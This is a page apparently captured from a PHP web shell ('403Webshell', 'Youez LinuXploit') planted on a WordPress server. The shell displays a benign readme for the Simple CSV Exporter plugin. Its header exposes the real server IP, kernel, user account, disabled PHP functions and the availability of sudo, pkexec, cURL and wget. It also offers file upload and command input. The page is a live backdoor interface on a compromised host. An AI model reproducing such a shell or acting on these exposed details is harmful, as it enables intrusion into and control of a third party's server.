403Webshell
Server IP : 43.141.49.107  /  Your IP : 113.219.202.173
Web Server : Apache
System : Linux VM-8-5-opencloudos 6.6.34-9.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 19 19:35:45 CST 2024 x86_64
User : www ( 1000)
PHP Version : 8.1.27
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/www.ucppt.com/wp-content/plugins/simple-csv-exporter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ucppt.com/wp-content/plugins/simple-csv-exporter/readme.txt
=== Simple CSV Exporter ===
Contributors:      Toro_Unit,hamworks  
Donate link:       https://www.paypal.me/torounit  
Tags:              CSV,export  
Requires at least: 5.8  
Tested up to:      6.7  
Requires PHP:      7.4  
Stable tag:        3.0.2
License:           GPLv2 or later  
License URI:       https://www.gnu.org/licenses/gpl-2.0.html  

Simple CSV Exporter.

== Description ==

Simple CSV Exporter. Exported CSV can be imported with [Really Simple CSV Importer](https://ja.wordpress.org/plugins/really-simple-csv-importer/). 

When you select a post type, the posts will be exported.

Github Repo: [https://github.com/hamworks/simple-csv-exporter](https://github.com/hamworks/simple-csv-exporter)


= Customize the data to be exported =

Customize for column.

<pre>use HAMWORKS\WP\Simple_CSV_Exporter\Data_Builder;
add_action( 'simple_csv_exporter_created_data_builder', 
	function ( Data_Builder $data ) {
		// Remove column.
		$data->append_drop_column( 'page_template' );
		// Add custom field column.
		$data->append_meta_key( 'my_meta_key' );
	}
);</pre>

Customize posts for export.

<pre>add_action( 'simple_csv_exporter_data_builder_for_wp_posts_pre_get_posts', 
	function ( WP_Query $query ) {
		$query->set( 'order', 'ASC' );
	}
);</pre>

Data filter for metadata.

<pre>add_filter( 'simple_csv_exporter_data_builder_for_wp_posts_get_post_meta_fields',
	function ( array $fields ) {
		foreach (
			array(
				'your_flag',
			) as $key
		) {
			if ( isset( $fields[ $key ] ) ) {
				$fields[ $key ] = ! empty( $fields[ $key ] ) ? 'TRUE' : 'FALSE';
			}
		}
		return $fields;
	}
);</pre>
Data filter for post.

<pre>add_filter(
	'simple_csv_exporter_data_builder_for_wp_posts_row_data',
	function ( $row_data, $post ) {
		$row_data['permalink'] = get_permalink( $post );
		unset( $row_data['comment_status'] );
		return $row_data;
	},
	10,
	2
);</pre>

== Changelog ==

= 3.0.0 =
* Add support UTF-8 with BOM.
* Refactor code.

= 2.2.0 =
* Add `simple_csv_exporter_data_builder_for_wp_posts_get_the_terms_field` filter.

= 2.1.7 =
* Fix taxonomy export.

= 2.1.0 =
* Rename hooks.
* Add `simple_csv_exporter_data_builder_for_wp_posts_row_data` filter.

= 2.0.1 =
* Tested on WP 6.0
* Drop support WP 5.7 and PHP 7.3

= 2.0.0 =
* Use PHP-DI.
* Refactoring.

= 1.1.0 =
* Refactoring release.

= 1.0.0 =
* first release.

= 0.0.1 =
* internal release.


Youez - 2016 - github.com/yon3zu
LinuXploit